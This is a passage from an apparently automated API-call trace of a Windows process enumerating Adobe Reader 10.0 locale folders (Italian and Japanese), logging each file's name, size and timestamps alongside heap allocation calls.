cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.ITA", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.ITA", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.ITA", cAlternateFileName="MAKEAC~1.ITA")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.ITA", cAlternateFileName="MULTIM~1.ITA")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.ITA", cAlternateFileName="")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.ITA", cAlternateFileName="")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x157000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.ITA", cAlternateFileName="")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.ITA", cAlternateFileName="READOU~1.ITA")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.ITA", cAlternateFileName="")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.ITA", cAlternateFileName="SAVEAS~1.ITA")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.ITA", cAlternateFileName="")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.ITA", cAlternateFileName="")) returned 1 [0221.466] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.466] GetProcessHeap () returned 0x550000 [0221.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0221.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0221.523] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0221.523] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0221.523] GetProcessHeap () returned 0x550000 [0221.523] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ITA", cAlternateFileName="")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ITA", cAlternateFileName="")) returned 1 [0221.524] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ITA", cAlternateFileName="")) returned 0 [0221.524] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0221.524] GetProcessHeap () returned 0x550000 [0221.524] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.524] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0221.524] GetProcessHeap () returned 0x550000 [0221.524] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.JPN", cAlternateFileName="")) returned 1 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.JPN", cAlternateFileName="ADOBEC~1.JPN")) returned 1 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.JPN", cAlternateFileName="")) returned 1 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.JPN", cAlternateFileName="BRDLAN~1.JPN")) returned 1 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.JPN", cAlternateFileName="")) returned 1 [0221.572] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.JPN", cAlternateFileName="MAKEAC~1.JPN")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.JPN", cAlternateFileName="MULTIM~1.JPN")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.JPN", cAlternateFileName="")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.JPN", cAlternateFileName="READOU~1.JPN")) returned 1 [0221.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.JPN", cAlternateFileName="")) returned 1 [0221.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.JPN", cAlternateFileName="SAVEAS~1.JPN")) returned 1 [0221.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.JPN", cAlternateFileName="")) returned 1 [0221.574] FindNextFileW (in: hFindFile=0x6398c8, 